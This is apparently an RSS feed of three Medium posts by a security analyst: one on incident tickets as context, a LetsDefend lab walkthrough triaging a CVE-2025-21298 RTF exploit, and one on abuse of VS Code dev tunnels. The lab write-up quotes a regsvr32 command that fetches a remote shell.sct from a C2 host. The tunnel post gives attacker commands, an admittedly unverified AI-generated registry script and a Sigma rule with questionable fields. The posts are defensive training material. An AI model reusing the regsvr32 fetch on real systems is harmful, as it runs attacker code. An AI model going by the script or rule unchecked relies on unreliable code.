<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rhian Peterson on Medium]]></title>
        <description><![CDATA[Stories by Rhian Peterson on Medium]]></description>
        <link>https://medium.com/@rhian.anise?source=rss-875a64279718------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*AlY-e7LVOJXlhaymYnsEyA@2x.jpeg</url>
            <title>Stories by Rhian Peterson on Medium</title>
            <link>https://medium.com/@rhian.anise?source=rss-875a64279718------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:08:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rhian.anise/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Institutional Memory: An Overlooked Incident Response Accelerator]]></title>
            <link>https://medium.com/@rhian.anise/institutional-memory-an-overlooked-incident-response-accelerator-b56ed2c34445?source=rss-875a64279718------2</link>
            <guid isPermaLink="false">https://medium.com/p/b56ed2c34445</guid>
            <category><![CDATA[process-improvement]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-management]]></category>
            <dc:creator><![CDATA[Rhian Peterson]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 20:51:04 GMT</pubDate>
            <atom:updated>2026-02-24T20:51:04.385Z</atom:updated>
            <content:encoded><![CDATA[<p>What do you think of when you hear the term <em>“ticketing system”</em>? Most people think of IT help desk — password resets, software installs, access requests. But do you think of it as a key part of an incident investigation?</p><p>In security operations and incident response, ticketing systems play a major role. They are often viewed as tools for momentary tracking and resolution, but in reality, they are repositories of institutional memory and historical context.</p><p>Various teams within medium to large enterprises operate within IT service management (ITSM) platforms like Jira, ServiceNow, and SolarWinds. These platforms track tasks, record timelines, and document communication for access requests, software installations, user account creations, patching, device management, and much more.</p><p>However, many organizations also use these platforms for incident management. Some vendors even provide dedicated modules that enhance incident response capabilities, which enabling teams to categorize alerts, document analysis, assign ownership, escalate issues, correlate related events, and tie in log data.</p><p>Over time, these platforms become far more than task trackers. They become contextual databases.</p><h3>Anatomy of an Incident Ticket</h3><p>Before understanding how ticketing systems accelerate investigations, it helps to understand what a typical incident ticket contains. Most incident tickets include:</p><h3>Tracking Information / Metadata</h3><ul><li>Creation date</li><li>Severity or priority level</li><li>Incident category</li><li>Assignment group or analyst</li><li>Status</li><li>Alert source</li><li>Short description</li><li>Detection time</li></ul><h3>Affected Assets</h3><ul><li>IP addresses or hostnames</li><li>User accounts</li><li>Cloud resources</li><li>Business units</li><li>Software or infrastructure components</li></ul><h3>Technical Findings / Artifacts</h3><ul><li>Indicators of compromise (IOCs)</li><li>Log excerpts reviewed</li><li>Suspicious processes or commands</li><li>Email artifacts</li><li>Network connections</li><li>Authentication anomalies</li></ul><h3>Related Tickets</h3><ul><li>Prior or concurrent incidents involving similar artifacts or assets</li><li>Tickets documenting response procedures (password resets, block requests, containment actions)</li></ul><h3>Management Information</h3><ul><li>Responsible teams</li><li>Engaged third parties</li><li>Impact assessments</li><li>Root cause analysis (RCA) notes</li></ul><h3>Attachments</h3><ul><li>Log segments</li><li>Reports</li><li>Screenshots</li><li>Timelines</li><li>Email correspondence</li></ul><p>An incident ticket does not just document what happened. It captures how the organization interpreted and responded to what happened.</p><h3>Why Historical Ticket Data Matters</h3><p>Organizations include this information because tickets serve as legal, operational, and historical records. But beyond compliance and documentation, they serve as decision-making tools.</p><p>When both security and IT teams use a centralized ticketing platform, it becomes a contextual repository containing:</p><ul><li>Previously affected or targeted systems</li><li>Recurring attack patterns</li><li>Prior response decisions</li><li>Control and visibility gaps</li><li>Escalation and communication history</li><li>Deployed technologies and tool stacks</li><li>Networking infrastructure details</li><li>Organizational structure and responsible teams</li></ul><p>Incidents rarely occur in isolation. Patterns emerge over time in targeted systems, exploited weaknesses, and response friction.</p><p>Historical ticket data helps determine prevalence, identify previously impacted assets, and establish a clearer understanding of what is normal within an environment.</p><p>During an investigation, responders often sift through large volumes of logs and artifacts in search of something notable. But without context, how do you distinguish between suspicious and simply unfamiliar? Historical ticket data provides that context.</p><h3>Internal vs. External IR Perspective</h3><p>Even internal teams with deep business knowledge do not know every quirk, workaround, or historical edge case within their environment. Historical ticket data prevents them from starting investigations from zero. It helps identify recurring issues, recognize environmental nuances, and understand prior containment decisions.</p><p>For external consultants entering an unfamiliar environment, ticket history is even more critical. It provides immediate insight into past incidents, detection maturity, control gaps, and organizational response patterns. It can important information that may impact their decision and recommendations to organizations facing major incidents.</p><p>Incident response requires intentionality, direction, and context. Historical ticket data provides all three.</p><p>Logs show activity.</p><p>Ticket history shows precedent.</p><p>And under pressure, precedent drives better decisions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b56ed2c34445" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Let’s Defend: SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298)]]></title>
            <link>https://medium.com/@rhian.anise/lets-defend-soc336-windows-ole-zero-click-rce-exploitation-detected-cve-2025-21298-77a95eafe2b1?source=rss-875a64279718------2</link>
            <guid isPermaLink="false">https://medium.com/p/77a95eafe2b1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[soc-analyst-training]]></category>
            <dc:creator><![CDATA[Rhian Peterson]]></dc:creator>
            <pubDate>Tue, 18 Feb 2025 20:33:55 GMT</pubDate>
            <atom:updated>2025-02-18T20:33:55.414Z</atom:updated>
            <content:encoded><![CDATA[<h3>Let’s Defend: <strong>SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*sbp-DPHdZdua8Xcrx_3YJg.png" /></figure><p>In this blog post we’ll be running through a critical alert that populated in the Let’s Defend ticketing system picking up on a signature matching an exploit for <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21298">CVE-2025–21298</a>. The goal of this blog post is to highlight an investigative mindset an analyst would need to properly and thoroughly triage this alert. <strong>Lets get started ;)</strong></p><h4>Getting Started</h4><p>By this time, you should have done two things:</p><ol><li><strong>Taken ownership of the alert </strong>(click the person icon to the right underneath the action column)</li><li><strong>Created a case to begin your investigation</strong> (selecting the double arrows to the left of the check mark underneath the action column)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bs03aCew4b-ILc91Bpm_3g.png" /><figcaption>Re-investigating this alert with the intent of creating a blog post ;) All of your investigations in practice should be repeatable.</figcaption></figure><h4><strong>Step 1: Gather Context</strong></h4><p>Before pivoting to any available tooling, we need to understand the background of the alert:</p><p>The most important pieces of information I used to create context were:</p><ol><li>The rule: SOC 336 — Windows OLE Zero-Click RCE Exploitation Detection (CVE-2025–21298)</li><li>The attachment (mail.rtf)</li><li>The trigger reason (malicious RTF attachment identified with known CVE-2025–21298 exploit pattern)</li></ol><p>What I mean by creating context is, you will not understand every single aspect of an alert. For me personally, I hadn’t yet heard of this vulnerability, doing some additional open-web searching to get an idea of what it is and how it’s being exploited in the wild can help create a guideline for my investigation. Not every single detail in an alert you will understand which is okay, but don’t allow ignorance to prevent you from running a thorough investigation.</p><p>I briefly searched up the vulnerability ID (<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-21298">CVE-2025–21298</a>) and used the National Vulnerability Database (NVD), which directed me to a<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21298"> Microsoft resource</a>. We gain two valuable pieces of information</p><ul><li><strong>A general overview of the initial access vector </strong>(user clicks crafted email that contain embedded commands that eventually lead to remote code execution.)</li><li>What <strong>OLE</strong> is (Object Linking and Embedding allows embedding and linking to documents and other objects). From this we can infer a potential attack chain and look for evidence to validate it.</li></ul><p>It is at this point that I begin taking note of other relevant information (notable artifacts)</p><ul><li>Users involved</li><li>Hashes</li><li>IP addresses</li><li>Hostnames</li><li>Filenames</li><li>Timestamps</li><li>Action taken (allowed or denied)</li></ul><h4>Step 2: Investigation</h4><p>I immediately like to run intelligence searches on the trivial artifacts (hash, IP addresses, and domain names) to get a baseline of their reputation. What I am investigating will drive what tools I use to conduct some intelligence searches. I threw the hash into four different platforms:</p><p>VT: 22/59 | CVE-2025–21298 | RTF | Exploit<br>X- Force: High Risk | Family Name: CVE-2025–21298 | Exploit | RTF<br>Talos: Malicious | Rich Text Format Data | 236 Bytes | CVE-2025–21298<br>Let’s Defend Threat Intel | Matches CVE-2025–21298</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfM83FeMV43c2iUrqvZjiQ.png" /><figcaption>VirusTotal</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdra5z3KVjlLJe6uxZz0yQ.png" /><figcaption>Cisco Talos Intelligence</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jfNPRwAKSluWFLAcJemeaQ.png" /><figcaption>IBM X-Force Exchange</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*59MGqIwNzFiXXPnmg3LagQ.png" /><figcaption>Let’s Defend Intelligence Platform</figcaption></figure><p>You can also run a search on the SMTP address, but for the sake of brevity let’s move into email and endpoint security.</p><p>To get a better understanding of what happened, I pivoted to email security. In this case the most recent email, was in fact the one the attacker sent, but it’s good to keep in mind that this is unrealistic and you may need search for the malicious email based on the sender or attachment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BxXyVQ2ZO6AAHlNRt5VbZA.png" /><figcaption>Email Security</figcaption></figure><p>After opening up the email, take note of the timestamp (Feb 04, 2025 5:12 AM) and the final action (allowed). A series of questions based off this information can be formed:</p><ul><li>Did the user <strong><em>Austin@letsdefend.io</em></strong> click on the attachment?</li><li>Did any other users receive this email? If so did they click?</li><li>What does the attachment do?</li></ul><p>Using those questions as a guide, I opened AnyRun as my sandbox of choice and uploaded the zip file containing the malware sample. Keeping all the default settings, max the time, and allow the malware to run. Whilst it does its thing, let’s pivot into endpoint security. (P.S. Here’s the <a href="https://any.run/report/889d79e7e004891e2a887c3a11d37ddd7e9028d53bb33622ae12685776181068/ed4a10b7-6255-46da-b99a-14dacbdf1995#i-table-processes-096de602-4fc6-48e1-b469-9d97b88a7aea">report</a>. I’m not going to cover the malware analysis in this post.)</p><p>You can perform a search on either the host name or the hash. Select host Austin (172.16.17.137)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NNqHBqOi-mo1GIjBfzLk6w.png" /><figcaption>Endpoint Security Search</figcaption></figure><p>Once we located the host, I begin looking for processes related to Outlook. Unfortunately, we can’t search for processes so we must manually look. I came across the <strong><em>OUTLOOK.EXE</em></strong>, the process native to Microsoft Outlook, and when we further investigate the second instance of this process, we see it spawns <strong><em>cmd.exe </em></strong>who spawns<strong><em> </em></strong><a href="https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"><strong><em>regsvr32.exe</em></strong></a><strong><em>.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IqjChaVpAy0xZlNbAHjdNQ.png" /><figcaption>Delectable Process Chain: OUTLOOK.EXE &gt; cmd.exe &gt; regsvr32.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kBNNtEoCesvd-dX_dbu73g.png" /><figcaption>OUTLOOK.exe targeting cmd.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zHHgpZEgCR9Bcjn_gCNduA.png" /><figcaption>C2 Address Captured</figcaption></figure><p>Now we have additional artifacts we can use to create a narrative for this alert. This chain of activity confirms our user <strong><em>Austin@letsdefend.io </em></strong>did in fact open or preview the email (this vulnerability does not require the user to click on the attachment). Dissecting the commandline, the malicious attachment utilizes <a href="https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/">regsvr32.exe</a> which is a native windows binary, used by attackers to silently proxy malicious code. In this case, we can see this utility being used to grab a file hosted at hxxp[://]84[.]38[.]130[.]118[.] com/shell[.]sct.</p><p>This is in fact the address of our command and control (C2) server. Therefore, we need to determine whether a connection was successfully established to the IP address. Within the log management tab, we will run a search on the destination address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHR316w0zpYXHkiOlTdF5g.png" /><figcaption>Search for Request to C2 Server</figcaption></figure><p>Upon running this search, we discover one proxy log entry detailing a successful outbound connection to the IP address (84[.]38[.]130[.]118) previously found in the command line on the host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xB40N_zcLuppBtjHvTgxiw.png" /><figcaption>Important Proxy Log Details</figcaption></figure><p>Now that we have confirmed a successful C2 connection has ben established, following Let’s Defend response procedures, we can go ahead and contain the host by going back to the <strong>Endpoint Security</strong> tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EYGBKkvPPgoXUEkMtui0Tg.png" /><figcaption>Host Containment</figcaption></figure><p>Sweet. Now that we have determined that this alert was in fact true positive, we can finish our writeup and answer the questions outlined in the <strong>Case Management</strong> tab.</p><h4>Playbook Walkthrough</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTzppzdwjbrOe6S081ukMA.png" /><figcaption>Playbook Walkthrough</figcaption></figure><ol><li><strong>Define the Threat Indicator (What did the alert fire on?)</strong></li></ol><p>Remember this alert fired on a signature matching a known exploit for <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21298">CVE-2025–21298</a>. We will select <strong>“Other”, </strong>as our threat indicator in this alert does not match the pre-defined indicators.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9PwWeEME3MLuPUncNGXULw.png" /><figcaption>Threat Indicator Defined as “Other”</figcaption></figure><p>2. <strong>Check If the Malware Was Quarantined or Cleaned?</strong></p><p>This question is used to determine if any anti-virus software or endpoint security products have quarantined or removed the malicious file from off the host. In the case of this alert, we found evidence of the exploit on the machine and its attempt to communicate over the network, so we can say the malware was<strong> “Not Quarantined”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lSi4vsefRt5WtaSNofkDtQ.png" /><figcaption>Infected Host</figcaption></figure><p><strong>3. Analyze the Malware</strong></p><p>In the main walkthrough we used various methods to determine the intent of the RTF file that was alerted on. We used intelligence engines to get an idea of the hash’s reputation which had direct association to the exploitation of <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-21298">CVE-2025–21298</a>. We also downloaded the zip file containing the malicious sample to dynamically analyze it in the AnyRun sandbox. The malware is indeed malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5ZOhvlXJcbM6P1gGX01Uw.png" /><figcaption>Use Applicable Tools to Analyze Malware Sample</figcaption></figure><p><strong>4. Check If the C2 Server Was Accessed</strong></p><p>When we ran a search in the Log Management platform on the external IP address spotted in the command line on the compromised endpoint <strong><em>Austin. </em></strong>We observed it was successfully requested. Therefore, we can confidently click <strong>“Accessed”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rS4ttpJGIhrv-AVe_w8vmA.png" /><figcaption>Requested C2 Server</figcaption></figure><p><strong>5. Containment of Compromised Machine</strong></p><p>We’ve done this step previously. It is important to note that each organization’s containment procedures vary and have strict stipulations surrounding host isolation. In this fictitious SOC, containment is a part of their playbook procedure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ozv6_KLPj4JVb3eH2wGXSw.png" /><figcaption>Contain the Compromised Endpoint Austin</figcaption></figure><p><strong>6. Add Relevant Artifacts</strong></p><p>In this case you can only add specific artifacts based on their type which range from trivial to annoying when mapped to the layers of the <a href="https://www.attackiq.com/glossary/pyramid-of-pain/">Pyramid of Pain</a>. Depending on your organization, there may be other values they want included as artifacts in your report. For example, registry keys/values added or tampered with, commands run in the CLI, loaded DLLs, etc. if available/applicable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0ejsevYpZycIuo-ZoRfCA.png" /></figure><h4><strong>7. Add Your Notes</strong></h4><p>In the<strong> Analyst Notes</strong> section, add your notes detailing the findings of this investigation. You can find my writeup below:</p><p><strong>Executive Summary</strong></p><p>On Feb, 04, 2025 at 04:18 PM, mail.rtf, a known exploit that leverages a Windows Object Linking and Embedding (OLE) vulnerability enabling remote code execution (CVE-2025–21298), was found on an internal host (Austin) associated with IP address 172.16.17.137. The internal user [Austin@letsdefend[.]io] received and opened an email containing the aforementioned attachment from an external SMTP address [projectmanagement@pm[.]me] associated with IP address [84.38.130.118]. The user’s actions triggered execution of arbitrary commands embedded within a word document, requesting a connection to a C2 server to enable remote code execution. We found no evidence of a response from the C2 server in the available logs.</p><p><strong>Investigation</strong></p><p>We began the investigation by analyzing the hash across various intelligence engines to determine the nature of the suspicious activity (the OSINT results can be found below in the Appendix) which unanimously identifies the file as an exploit for the Windows OLE remote code vulnerability (CVE-2025–21298). We searched across the email security platform to determine if other users received this email and could have been affected. We did not observe any other affected users.</p><p>Once validating <a href="/service/mailto:Austin@letsdefend.io">Austin@letsdefend.io</a> was the only user affected, we pivoted to the endpoint security platform to determine if the exploit had successfully been launched on the host. Reviewing the processes around the time of the event revealed “cmd.exe” spawning “regsvr32.exe” which is a utility capable of network communication and enables both local and remote script execution. We investigated the command line arguments and observed “regsvr32.exe” silently attempting to connect to hxxp://84[.]38[.]130[.]118.com to pull down a shell script (shell[.]sct). The full process tree is available in the Appendix below.</p><p>To determine if any successful outbound connections were made to the actor’s IP address [84.38.130.118], we performed a search in the Log Management platform. The search returned a proxy log detailing host Austin [172.16.17.137] making a successfully connection request over port 80 to hxxp://84[.]38[.]130[.]118.com/shell[.]sct via the command line. We did not see any inbound traffic from the external IP address; however, based on this information, we took the initiative to contain the host to prevent further external communication to the C2 server and prevent spread within the internal network.</p><p><strong>Timeline</strong></p><p>Feb, 04, 2025, 05:12 AM <br> -&gt; <em>User receives malicious email</em><br>Feb 04 2025 08:05:15 AM<br>-&gt; “<em>OUTLOOK.exe” spawns “cmd.exe”</em><br>Feb 04 2025 08:06:08 AM<br> -&gt; <em>“cmd.exe” targets the regsvr32 utility to run arbitrary commands</em><br>Feb 04 2025 08:06:25 AM<br><em> -&gt; “regsvr32.exe” requests connection to C2 server</em></p><p><strong>Recommendations</strong></p><ul><li>Reset user’s credentials and any other credentials for associated users on the server. Deleted cached credentials on the server.</li><li>Delete the malicious email from Austin@letsdefend[.]io’s mailbox.</li><li>Update email security rules to immediately quarantine attachments containing RTF files</li><li>Block the domain of the email sender</li><li>Update the host in accordance with available Patch Tuesday update (if unable to update the host, configure Outlook to read emails in plain text format to prevent exploitation)</li><li>Review permissions to control execution of certain utilities</li><li>Conduct forensic investigation to determine if any persistence mechanisms were established, if user accounts were created or data was affected, and to determine if the host successfully pulled down the shell code (remove files from the host if installation successful)</li><li>If feasible, re-image the host.</li><li>Continuously monitor for outbound connections or suspicious activity, such as account creation, registry modification, delays or lags in functionality, etc. from this host until fully remediated</li></ul><p><strong>Appendix</strong></p><p><strong>Artifacts: </strong><br>- C2 IP: 84.38.130.118</p><p><strong>Affected Hosts: </strong><br> — Austin (172.16.17.137)</p><p><strong>External SMTP Address:</strong> projectmanagement@pm[.]me</p><p><strong>Affected Users</strong> <br> — Austin@letsdefend[.]io</p><p><strong>File hash </strong>(mail.rtf):<br>df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184</p><p><strong>Relevant Command Lines:</strong><br> “C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i: hxxp://84[.]38[.]130[.]118.com/shell[.]sct scrobj.dll”</p><p><strong>Relevant Processes:</strong><br> — OUTLOOK.exe<br> — WINWORD.exe<br> — cmd.exe<br> — regsvr32.exe<br>- Shell Script<br> — shell.sct</p><p><strong>OSINT Results</strong></p><p>VT: 22/59 | CVE-2025–21298 | RTF | Exploit<br>XForce: High Risk | Family Name: CVE-2025–21298 | Exploit | RTF<br>Talos: Malicious | Rich Text Format Data | 236 Bytes | CVE-2025–21298<br>Let’s Defend Threat Intel | Matches CVE-2025–21298 <br>Hybrid Analysis: Malicious | RTF | 100/100</p><p><strong>Process Tree:</strong></p><p>Explorer.exe &gt; OUTLOOK.exe &gt; WINWORD.exe &gt; cmd.exe &gt; regsvc32.exe</p><p><strong>References:</strong><br><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21298">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21298</a><br><a href="https://www.offsec.com/blog/cve-2025-21298/">https://www.offsec.com/blog/cve-2025-21298/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77a95eafe2b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security Implications of VS Code Dev Tunneling]]></title>
            <link>https://medium.com/@rhian.anise/security-implications-of-vs-code-dev-tunneling-fabb822c4161?source=rss-875a64279718------2</link>
            <guid isPermaLink="false">https://medium.com/p/fabb822c4161</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-analysts]]></category>
            <dc:creator><![CDATA[Rhian Peterson]]></dc:creator>
            <pubDate>Sat, 21 Sep 2024 03:57:17 GMT</pubDate>
            <atom:updated>2024-09-21T03:57:17.139Z</atom:updated>
            <content:encoded><![CDATA[<p>By now, you’ve probably heard of the Chinese APT group <strong>Mustang Panda</strong> weaponizing VSCode’s <a href="https://code.visualstudio.com/docs/remote/tunnels"><strong>Remote — Tunnels</strong></a> extension using the<a href="https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/overview"><strong> Microsoft Dev Tunnels</strong></a> capability. If not here’s a quick breakdown:</p><p>The attacker, after gaining initial access to the machine, would either install a portable version of VSCode or utilize an existing installation of the editor, which will not be flagged by AV or EDR as it is a signed binary (more on LOLBins later 😉), unless you have written a specific detection for it. Anyways…to setup the initial session, they run one of the following commands:</p><pre>code tunnel<br></pre><p><strong>OR</strong></p><pre>./code tunnel</pre><p>The attacker then will need to login and authentication via Github or Microsoft Entra ID (using their account 👀). Through the VSCode instance, the attacker now has the ability to <strong>execute code or commands</strong> on the victim’s machine using the VS Code tunnel. Now to see that in action John Hammond released a <a href="https://youtu.be/9la5vTerq0o?si=MYiEymt1U2cK-TnH"><strong>video</strong></a><strong> </strong>as a PoC for this attack. Other articles have also been released on the subject that you can help yourself to below:</p><ul><li><a href="https://badoption.eu/blog/2023/01/31/code_c2.html">Let&#39;s Go (VS) Code - Red Team style</a></li><li><a href="https://www.netero1010-securitylab.com/red-team/microsoft-dev-tunnels-as-c2-channel">Microsoft Dev Tunnels as C2 Channel | Netero1010 Security Lab</a></li><li><a href="https://medium.com/@truvis.thornton/visual-studio-code-embedded-reverse-shell-and-how-to-block-create-sentinel-detection-and-add-e864ebafaf6d">Visual Studio Code: embedded reverse shell and how to block, create Sentinel Detection, and add…</a></li><li><a href="https://redsiege.com/blog/2024/04/using-microsoft-dev-tunnels-for-c2-redirection/">Using Microsoft Dev Tunnels for C2 Redirection</a></li></ul><p>Cool…now that that’s out the way</p><p><em>*whew*</em></p><p>Let’s get into how you can enforce policies and other controls to restrict usage of this VSCode feature, some detections, and some things to keep in mind for analysts triaging alerts that exhibit this behavior.</p><p><strong>GPO Policy for Dev Tunnels</strong></p><p>To control use of these Dev Tunnels across your organization, you need to configure and deploy said policies using the <a href="https://www.microsoft.com/en-us/download/details.aspx?id=105938">Administrator Template Files for Dev Tunnels</a> which consolidates policies for Dev Tunnels in Visual Studio, port forwarding in VSCode, and VSCode’s Remote — Tunnels extensions. The full Microsoft configuring and deployment documentation can be found <a href="https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/policies"><strong>here</strong></a>.</p><p>After downloading the Administrator Template files, within Local Group Policy Editor &gt; Local Group Policy &gt; Computer Configuration &gt; Administrative Templates &gt; Control Panel &gt; Dev Tunnels you can choose to enable or disable three options:</p><ul><li>Disable Anonymous Tunnel Access</li><li>Disable Dev Tunnels</li><li>Allow only selected Microsoft Entra tenant IDs</li></ul><p>Depending on your organizational needs, you can choose whether to enable or disable these options, but should carefully consider whether usage of Dev Tunnels is necessary at all. The setting that I want to highlight, should a need for VS Dev Tunnels or VSCode Remote — Tunnels extension usage be found, is the “Allow only selected Microsoft Entra tenant IDs”. As mentioned in the quick summary of the attack workflow, the attacker typically logs in via their personal GitHub account, however, Microsoft Entra ID is another viable option for login. Enabling this setting restricts this option to authorized tenant IDs. However, if GitHub is a viable option, is there a way to restrict that? Below is a PoC that I had ChatGPT create to block Github login for Dev Tunnels only:</p><pre># Define the registry path where Dev Tunnel settings are stored<br>$registryPath = &quot;HKLM:\SOFTWARE\Microsoft\VSCode\DevTunnels\Authentication&quot;<br><br># Check if the registry key exists<br>if (Test-Path $registryPath) {<br>    # Set GitHub login to disabled<br>    Set-ItemProperty -Path $registryPath -Name &quot;AllowGitHubLogin&quot; -Value 0<br>    <br>    # Ensure Entra ID login is enabled<br>    Set-ItemProperty -Path $registryPath -Name &quot;AllowEntraIDLogin&quot; -Value 1<br><br>    Write-Output &quot;GitHub login has been disabled for Dev Tunnels, and Entra ID is enabled.&quot;<br>} else {<br>    # If the path doesn&#39;t exist, create the necessary registry keys<br>    New-Item -Path $registryPath -Force<br>    New-ItemProperty -Path $registryPath -Name &quot;AllowGitHubLogin&quot; -Value 0 -PropertyType DWORD<br>    New-ItemProperty -Path $registryPath -Name &quot;AllowEntraIDLogin&quot; -Value 1 -PropertyType DWORD<br><br>    Write-Output &quot;GitHub login has been disabled for Dev Tunnels, and Entra ID is enabled.&quot;<br>}</pre><p><strong>*Please note that AI is not always correct and feel free to change this to match the proper registry path or other needs of your organization*</strong></p><p>The script first checks if the <strong>registry path</strong> for Dev Tunnel authentication exists. If it doesn’t, it creates the necessary registry keys. It then sets the value for <strong>AllowGitHubLogin</strong> to 0 (disabled) and <strong>AllowEntraIDLogin</strong> to 1 (enabled). If feasible, this script can be applied with the group policy to prevent creation of the Dev Tunnel as the attacker has no method of authentication.</p><p><strong>Additional Preventative Controls</strong></p><p>To create a Dev Tunnel, an outbound connection must be made to the service hosted in Microsoft Azure. To prevent outbound connections from being made, you can restrict access to the following Dev Tunnel domains:</p><ul><li>global.rel.tunnels.api.visualstudio.com</li><li>[clusterId].rel.tunnels.api.visualstudio.com</li><li>[clusterId]-data.rel.tunnels.api.visualstudio.com</li><li>*.[clusterId].devtunnels.ms</li><li>*.devtunnels.ms</li></ul><p>The <a href="https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/security"><strong>Microsoft Documentation</strong></a> has provided a<strong> </strong><a href="https://global.rel.tunnels.api.visualstudio.com/api/v1/clusters"><strong>list</strong></a> of cluster IDs which can help you create more specific firewall rules.</p><p><strong>Sigma Rules and Vendor-Specific Detections</strong></p><p>Now that we have addressed proactive implementation of security controls to reduce the success of an attacker launching a Dev Tunnel, we should have detections in place to catch activity that mirrors abuse of this feature early on. The following sigma rule provides generalized detection logic that can be used in your environment:</p><pre>title: Visual Studio/VSCode Dev Tunnel Creation<br>id: 49fb2187-d6c1-41fc-8af2-e23575d0a8f8<br>status: Experimental<br>description: Detects the creation of a Dev Tunnel using the `code tunnel` or `./code tunnel` commands in Visual Studio or VSCode. Attackers create Dev Tunnels to initiate reverse shells and execute arbitrary code/ deliver additional payloads.<br>author: Rhian Peterson<br>references: <br>  - https://code.visualstudio.com/docs/remote/tunnels <br>  - https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/<br>  - https://lolbas-project.github.io/lolbas/OtherMSBinaries/devtunnels/<br><br>logsource:<br>  category: process_creation<br>  product: windows<br>  service: security_event<br><br>detection: <br>  # Selection 1: Detect dev_tunnels.exe or remote in the command line<br>  selection_1:<br>    eventID: 4688  # Process Creation<br>    parent_proc_name: cmd.exe<br>    proc_name: dev_tunnels.exe<br>    commandLine|contains:<br>      - &quot;devtunnel.exe&quot;<br>      - &quot;remote&quot;<br><br>  # Selection 2: Detect Visual Studio Code or Visual Studio launching cmd.exe or powershell.exe with a tunnel<br>  selection_2:<br>    eventID: 4688  # Process Creation<br>    parent_proc_name:<br>      - vscode.exe<br>      - devenv.exe<br>    proc_name:<br>      - cmd.exe<br>      - powershell.exe<br>    commandLine|contains:<br>      - &quot;code tunnel&quot;<br>      - &quot;./code tunnel&quot;<br><br>  # Condition to trigger if either selection_1 or selection_2 matches<br>  condition: selection_1 OR selection_2<br><br>fields:<br>  - _time<br>  - host<br>  - user<br>  - parent_proc_name<br>  - proc_name<br>  - commandLine<br><br>falsepositives:<br>  - Legitimate use of Dev Tunnels by developers in remote development environments.<br><br>level: High<br>tags:<br>  - attack.discovery<br>  - attack.TA0002<br>  - attack.persistence<br>  - attack.TA0003<br>  - attack.command_and_control<br>  - attack.TA0011<br>  - attack.exfiltration<br>  - attack.TA0010<br>  - attack.T1072<br>  - attack.T1105<br></pre><p>Quick breakdown of the rule:</p><p>The rule will fire an alert 